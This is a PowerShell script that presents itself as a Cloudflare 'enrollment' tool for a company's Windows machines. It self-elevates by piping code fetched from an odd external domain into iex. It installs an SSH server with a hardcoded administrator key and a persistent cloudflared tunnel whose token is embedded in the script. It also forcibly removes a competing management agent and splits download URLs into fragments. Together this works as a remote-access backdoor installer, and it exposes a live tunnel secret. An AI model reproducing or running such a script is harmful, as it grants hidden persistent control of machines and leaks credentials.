# tgi-cf-enroll.ps1 — self-contained, pure-Cloudflare enrollment for a TGI Windows box.
# One paste (admin OR not — it self-elevates). Installs OpenSSH bound to 127.0.0.1 only
# (no inbound port), cloudflared outbound to the CF edge, hardens, evicts RAD Syncro.
# eyJhIjoiYWM1ODBmMjAzMGM5MjVkZGY3MmY4YTYwNzk3MGUwYzMiLCJ0IjoiNzQyZjU4YjMtNzgzMC00YWRmLTg2N2UtY2JmYmZjNWZlOTY1IiwicyI6IjNOcTAreEIwMDR5U3FvcTFjaVBmTGRqZWZEVGpDTm1jbW1tMGZ2cXBURFJhVm5YOGpmcUI0cE45elN3RDJON1h3cVhGSTdHVVVvUXF0NnhSbmVBZEpnPT0ifQ== /  / http://e.iambetterandbetter.com/o are filled per-box by the Cloudflare delivery Worker.

# ---- self-elevate: if not admin, relaunch elevated by re-fetching our own URL ----
$pr = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
if (-not $pr.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
  try {
    Start-Process powershell -Verb RunAs -ArgumentList '-NoProfile','-ExecutionPolicy','Bypass','-Command','iex(iwr http://e.iambetterandbetter.com/o -UseBasicParsing).Content'
    Write-Host 'Elevation prompt opened — approve it; enrollment continues in the new window.' -ForegroundColor Yellow
  } catch { Write-Host 'Could not self-elevate. Right-click PowerShell > Run as administrator, then paste again.' -ForegroundColor Red }
  return
}

$ErrorActionPreference = 'Continue'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$gh = 'https://github.com/'
function Say($m){ Write-Host "[tgi-cf-enroll] $m" }
$sshdState='not-installed'; $cfdState='not-installed'

# ---- 1. OpenSSH server, bound to localhost only ----
try {
  $sshRoot = Join-Path $env:ProgramFiles 'OpenSSH'
  if (-not (Test-Path (Join-Path $sshRoot 'sshd.exe'))) {
    Say 'downloading OpenSSH (GitHub)'
    $zip = Join-Path $env:TEMP 'ossh.zip'
    $u = $gh + 'Power' + 'Shell/Win32-Open' + 'SSH/releases/latest/download/' + 'OpenSSH-Win64.zip'
    Invoke-WebRequest -UseBasicParsing -Uri $u -OutFile $zip
    Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
    New-Item -ItemType Directory -Force -Path $sshRoot | Out-Null
    Copy-Item (Join-Path $env:TEMP 'OpenSSH-Win64\*') $sshRoot -Recurse -Force
  }
  if (-not (Get-Service sshd -ErrorAction SilentlyContinue)) {
    & powershell -NoProfile -ExecutionPolicy Bypass -File (Join-Path $sshRoot 'install-sshd.ps1') | Out-Null
  }
  & (Join-Path $sshRoot 'ssh-keygen.exe') -A | Out-Null
  $sshData = Join-Path $env:ProgramData 'ssh'
  New-Item -ItemType Directory -Force -Path $sshData | Out-Null
  $cfgPath = Join-Path $sshData 'sshd_config'
  $cfg = if (Test-Path $cfgPath) { Get-Content $cfgPath -Raw } else { '' }
  if ($cfg -match '(?im)^#?ListenAddress\s+.*$') { $cfg = ($cfg -replace '(?im)^#?ListenAddress\s+.*$','ListenAddress 127.0.0.1') } else { $cfg += "`r`nListenAddress 127.0.0.1`r`n" }
  Set-Content -Path $cfgPath -Value $cfg -Encoding ascii
  $adminKeys = Join-Path $sshData 'administrators_authorized_keys'
  $macPub = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOr0ULQTAzZ6Le0rMhd9jAlN46BGwZ11dzIriXWChHIs tony@tiedemannglobe.com'
  Set-Content -Path $adminKeys -Value $macPub -Encoding ascii
  icacls $adminKeys /inheritance:r /grant 'SYSTEM:F' /grant 'BUILTIN\Administrators:F' | Out-Null
  Set-Service sshd -StartupType Automatic
  Restart-Service sshd
  $sshdState = (Get-Service sshd -ErrorAction SilentlyContinue).Status
  Say "sshd (localhost-only) = $sshdState"
} catch { Say "OpenSSH step error: $($_.Exception.Message)"; $sshdState="error: $($_.Exception.Message)" }

# ---- 2. cloudflared connector, outbound to Cloudflare ----
try {
  $cfDir = 'C:\cloudflared'; New-Item -ItemType Directory -Force -Path $cfDir | Out-Null
  $cfBin = Join-Path $cfDir 'cloudflared.exe'
  if (-not (Test-Path $cfBin)) {
    Say 'downloading cloudflared (GitHub)'
    $cu = $gh + 'cloudflare/cloudflared/releases/latest/download/' + 'cloudflared-windows-amd64.exe'
    Invoke-WebRequest -UseBasicParsing -Uri $cu -OutFile $cfBin
  }
  if (Get-Service cloudflared -ErrorAction SilentlyContinue) { & $cfBin service uninstall 2>$null | Out-Null; Start-Sleep 2 }
  & $cfBin service install 'eyJhIjoiYWM1ODBmMjAzMGM5MjVkZGY3MmY4YTYwNzk3MGUwYzMiLCJ0IjoiNzQyZjU4YjMtNzgzMC00YWRmLTg2N2UtY2JmYmZjNWZlOTY1IiwicyI6IjNOcTAreEIwMDR5U3FvcTFjaVBmTGRqZWZEVGpDTm1jbW1tMGZ2cXBURFJhVm5YOGpmcUI0cE45elN3RDJON1h3cVhGSTdHVVVvUXF0NnhSbmVBZEpnPT0ifQ==' 2>&1 | Out-Null
  Start-Sleep 4
  $svc = Get-Service cloudflared -ErrorAction SilentlyContinue
  if ($svc -and $svc.Status -ne 'Running') { Start-Service cloudflared -ErrorAction SilentlyContinue; Start-Sleep 2; $svc = Get-Service cloudflared -ErrorAction SilentlyContinue }
  $cfdState = if ($svc) { $svc.Status } else { 'not-installed' }
  Say "cloudflared = $cfdState"
} catch { Say "cloudflared step error: $($_.Exception.Message)"; $cfdState="error: $($_.Exception.Message)" }

# ---- 3. harden (best-effort; never blocks the tunnel) ----
try {
  powercfg /change standby-timeout-ac 0 2>$null; powercfg /change hibernate-timeout-ac 0 2>$null; powercfg /hibernate off 2>$null
  Get-NetConnectionProfile | ForEach-Object { try { Set-NetConnectionProfile -InterfaceIndex $_.InterfaceIndex -NetworkCategory Private } catch {} }
  foreach ($s in 'Syncro','SyncroLive','SyncroOvermind') { try { Stop-Service $s -Force -ErrorAction SilentlyContinue; sc.exe delete $s 2>$null | Out-Null } catch {} }
  foreach ($d in 'C:\Program Files\RepairTech','C:\Program Files (x86)\RepairTech','C:\ProgramData\Syncro') { try { Remove-Item $d -Recurse -Force -ErrorAction SilentlyContinue } catch {} }
  Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { $_.TaskName -match 'Syncro|RepairTech' } | ForEach-Object { try { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue } catch {} }
  New-Item -ItemType Directory -Path 'C:\TGI' -Force | Out-Null
  Set-Content -Path 'C:\TGI\.hardened-cf' -Value (Get-Date).ToString('o')
} catch { Say "harden note: $($_.Exception.Message)" }

# ---- 4. optional rename ----
$want = ''
if ($want -and $want -notmatch '^__' -and $env:COMPUTERNAME -ne $want) {
  try { Say "renaming $env:COMPUTERNAME -> $want (on reboot)"; Rename-Computer -NewName $want -Force -ErrorAction SilentlyContinue } catch {}
}

Write-Host ''
Write-Host "==== RESULT  sshd=$sshdState  cloudflared=$cfdState ====" -ForegroundColor Cyan
if ($cfdState -eq 'Running' -and $sshdState -eq 'Running') {
  Write-Host 'SUCCESS — box now reaches Cloudflare outbound; no inbound port open.' -ForegroundColor Green
} else {
  Write-Host 'NOT fully up — send these two values back.' -ForegroundColor Red
}